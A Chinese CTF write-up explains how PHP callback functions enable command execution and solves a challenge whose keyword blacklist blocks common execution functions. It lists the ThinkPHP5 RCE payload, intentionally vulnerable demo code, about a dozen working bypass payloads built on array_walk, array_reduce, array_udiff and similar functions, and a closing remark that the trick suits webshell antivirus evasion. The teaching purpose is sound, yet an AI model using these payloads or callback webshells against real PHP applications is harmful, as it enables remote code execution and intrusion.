前言
最近在整理学习CTF WEB方向的知识,有个网友问了一道题,觉得还不错,因此记录一下解题过程和学习思路。
回调函数
什么是回调函数?
在php中,回调函数是可以当作参数传递给其他函数,并在其他函数中被调用。
初识回调函数
Thinkphp5 RCE总结 - Y4er的博客
最早知道回调函数的时候,应该是在Thinkphp5 RCE
系列的漏洞中
根据Thinkphp5 RCE
的payload可知,这段payload的作用是通过call_user_func_array
函数去调用回调函数名是system
的函数,并给这个回调函数传入参数whoami
。即通过system
函数去执行命令whoami
。
1
| ?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
|
简单的demo
call_user_func_array
1 2 3 4 5 6 7
| <?php highlight_file(__FILE__); $func = $_GET['func']; $args = $_GET['args']; if(isset($func)&&isset($args)){ call_user_func_array($func,$args); }
|
/call_user_func_array.php?func=system&args[]=whoami
注:call_user_func_array传入的参数是数组
call_user_func
1 2 3 4 5 6 7
| <?php highlight_file(__FILE__); $func = $_GET['func']; $args = $_GET['args']; if(isset($func)&&isset($args)){ call_user_func($func,$args); }
|
/call_user_func.php?func=system&args=whoami
CTF题目
分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php highlight_file(__FILE__); $func=$_GET["func"]??"var_dump"; $args=$_GET["args"]??["Hack Me!"]; function waf($str){ if(preg_match('/call|system|exec|popen|file|passthru|open|eval|map|include|require|filter|assert|env|preg|ini|read|write|rename|show|sort|func|curl|copy|dir|get|proc|ld/i',$str)){ return false; } return true; } if(waf($func)){ call_user_func_array($func,$args); }else{ echo "try again"; }
|
注:这个源码的运行得是php7+,因为两个问号(??)是php7新推出的表达式。
这个题目也很容易看懂。get
请求传入参数func
和args
,通过waf
函数去判断func
的值中是否包含call|system|exec|popen|file|passthru|open|eval|map|include|require|filter|assert|env|preg|ini|read|write|rename|show|sort|func|curl|copy|dir|get|proc|ld
,如果含有,走else
逻辑,页面输出try again
,否则就进入到call_user_func_array
逻辑。
实际上一开始是没啥太大的思路,只是执行了一下phpinfo
?func=phpinfo&args[]=1
hint
仔细查了一下这个hint中所提到的函数,发现该函数array_intersect_uassoc
的最后一个参数可以是一个回调函数。
array_intersect_uassoc
PHP array_intersect_uassoc() 函数
简单的使用
1 2
| <?php array_intersect_uassoc(array('2'=>"1"),array('1'),'print_r');
|
如果想要造成命令执行的效果,代码应该修改成
1 2
| <?php array_intersect_uassoc(array('whoami'=>"1"),array('1'),'system');
|
即数组下标是待执行的命令,最后一个参数是回调函数名。
最后的payload为:?func=array_intersect_uassoc&args[0][whoami]=&args[1][0]=1&args[2]=system
寻找回调函数的思路
我们不是以解题为目的,而是要以学习为目的,因此想到是否有其他的函数具备和array_intersect_uassoc
一样的作用呢?
在php中,可用做当后门的回调函数的关键词有callable
、mixed $options
、handler
、callback
、invoke
、function
和funcname
等。
那么可以通过get_defined_functions()
函数去获取到所有的内置函数,取出传参的参数名,判断是否包含这几个关键词即可。
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php $functions = get_defined_functions(); $internal_functions = $functions['internal']; $count = 0; foreach ($internal_functions as $function_name) { $reflection = new ReflectionFunction($function_name); $parameters = $reflection->getParameters(); foreach ($parameters as $parameter) { $parameter_type = $parameter->getName(); if (stripos($parameter_type, 'callable') !== false || stripos($parameter_type, 'handler') !== false || stripos($parameter_type, 'callback') !== false || stripos($parameter_type, 'mixed') !== false || stripos($parameter_type, 'invoke') !== false || stripos($parameter_type,'function')!==false || stripos($parameter_type,'funcname') !==false ) { $count++; echo $reflection->getName()."\t"; /*foreach ($parameters as $parameter) { echo "参数名:".$parameter->getName()."\t"; }*/ echo "\n"; break; } }} echo $count; ?>
|
可能具备回调函数功能的函数
运行脚本后得到以下可能符合条件的内置函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| function_exists set_error_handler set_exception_handler preg_replace_callback spl_autoload_register spl_autoload_unregister iterator_apply header_register_callback call_user_func call_user_func_array forward_static_call forward_static_call_array register_shutdown_function register_tick_function unregister_tick_function is_callable ob_start usort uasort uksort array_walk array_walk_recursive array_reduce array_intersect_ukey array_uintersect array_uintersect_assoc array_intersect_uassoc array_uintersect_uassoc array_diff_ukey array_udiff array_udiff_assoc array_diff_uassoc array_udiff_uassoc array_filter array_map libxml_set_external_entity_loader mb_ereg_replace_callback xdebug_start_function_monitor
|
经过测试后发现以下的函数可能符合解题条件
usort (failure)
usort
1 2
| <?php usort($_GET['a'],"system");
|
?a[0]=whoami&a[1]=1
由于waf中过滤了sort字符串,因此usort使用不了。
uasort (failure)
uasort
1 2
| <?php uasort($_GET['a'],"system");
|
?a[0]=whoami&a[1]=1
由于waf中过滤了sort字符串,因此usort使用不了。
uksort (failure)
uksort
1 2
| <?php uksort($_GET['a'],"system");
|
?a[whoami]=1&a[1]=1
由于waf中过滤了sort字符串,因此usort使用不了。
array_walk (success)
array_walk
1 2
| <?php array_walk($_GET['a'],"system");
|
?a[0]=whoami
符合该题解,最终payload为
?func=array_walk&args[0][1]=whoami&args[1]=system
array_walk_recursive (success)
array_walk_recursive
1 2
| <?php array_walk_recursive($_GET['a'],"system");
|
?a[0]=whoami
符合该题解,最终payload为
?func=array_walk_recursive&args[0][1]=whoami&args[1]=system
array_reduce (success)
array_reduce
1 2
| <?php array_reduce(array(1),"system",$_GET['a']);
|
?a=whoami
符合该题解,最终payload为
?func=array_reduce&args[0][0]=1&args[1]=system&args[2]=whoami
array_intersect_ukey (success)
array_intersect_ukey
1 2 3 4
| <?php $a1=array($_GET['a']=>"1"); $a2=array("a"=>"0"); array_intersect_ukey($a1,$a2,"system");
|
?a=whoami
符合该题解,最终payload为
?func=array_intersect_ukey&args[0][whoami]=1&args[1][0]=1&args[2]=system
array_uintersect (success)
array_uintersect
1 2 3 4
| <?php $a1=array("1"=>$_GET['a']); $a2=array("a"=>"1"); array_uintersect($a1,$a2,"system");
|
?a=whoami
符合该题解,最终payload为
?func=array_uintersect&args[0][0]=whoami&args[1][0]=1&args[2]=system
array_uintersect_assoc (success)
array_uintersect_assoc
符合该题解,最终payload为
?func=array_uintersect_assoc&args[0][0]=whoami&args[1][0]=1&args[2]=system
array_intersect_uassoc (success)
array_intersect_uassoc
上面测试了,直接放payload
?func=array_intersect_uassoc&args[0][whoami]=&args[1][0]=1&args[2]=system
array_uintersect_uassoc (success)
array_uintersect_uassoc
1 2
| <?php array_uintersect_uassoc(array('whoami'=>'whoami'),array(1),"system","system");
|
?func=array_uintersect_uassoc&args[0][0]=whoami&args[1][0]=1&args[2]=system&args[3]=system
array_diff_ukey (success)
array_diff_ukey
1 2 3
| <?php array_diff_ukey(array('whoami'=>'1'),array(1),"system");
|
?func=array_diff_ukey&args[0][whoami]=1&args[1][0]=1&args[2]=system
array_udiff (success)
array_udiff
1 2
| <?php array_udiff(array("0"=>"whoami"),array(1),"system");
|
?func=array_udiff&args[0][1]=whoami&args[1][1]=1&args[2]=system
array_udiff_assoc (success)
array_udiff_assoc
1 2
| <?php array_udiff_assoc(array("1"=>"whoami"),array("1"=>"2"),"system");
|
?func=array_udiff_assoc&args[0][1]=whoami&args[1][1]=1&args[2]=system
array_diff_uassoc (success)
array_diff_uassoc
1 2
| <?php array_diff_uassoc(array("whoami"=>"1"),array("1"=>"2"),"system");
|
?func=array_diff_uassoc&args[0][whoami]=1&args[1][1]=1&args[2]=system
array_udiff_uassoc (success)
array_udiff_uassoc
1 2
| <?php array_udiff_uassoc(array("whoami"=>"whoami"),array(1),"system","system");
|
?func=array_udiff_uassoc&args[0][whoami]=1&args[1][1]=1&args[2]=system&args[3]=system
array_filter (failure)
array_filter
1 2
| <?php array_filter(array("whoami"),"system");
|
由于waf中过滤了filter字符串,因此array_filter使用不了。
array_map (failure)
array_map
1 2
| <?php array_map("system",array("whoami"));
|
由于waf中过滤了map字符串,因此array_map使用不了。
简单归总一下解题payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| ?func=array_walk&args[0][1]=whoami&args[1]=system
?func=array_walk_recursive&args[0][1]=whoami&args[1]=system
?func=array_reduce&args[0][0]=1&args[1]=system&args[2]=whoami
?func=array_intersect_ukey&args[0][whoami]=1&args[1][0]=1&args[2]=system
?func=array_uintersect&args[0][0]=whoami&args[1][0]=1&args[2]=system
?func=array_uintersect_assoc&args[0][0]=whoami&args[1][0]=1&args[2]=system
?func=array_intersect_uassoc&args[0][whoami]=&args[1][0]=1&args[2]=system
?func=array_uintersect_uassoc&args[0][0]=whoami&args[1][0]=1&args[2]=system&args[3]=system
?func=array_diff_ukey&args[0][whoami]=1&args[1][0]=1&args[2]=system
?func=array_udiff&args[0][1]=whoami&args[1][1]=1&args[2]=system
?func=array_udiff_assoc&args[0][1]=whoami&args[1][1]=1&args[2]=system
?func=array_diff_uassoc&args[0][whoami]=1&args[1][1]=1&args[2]=system
|
总结
虽然CTF里面的解题思路,在实战中进行代码审计和漏洞利用时很少会遇到。但是吧,这玩意似乎能用来做php的webshell免杀。
参考文章
https://blog.csdn.net/Fly_hps/article/details/88119675
https://www.runoob.com/php/php-tutorial.html
https://y4er.com/post/thinkphp5-rce/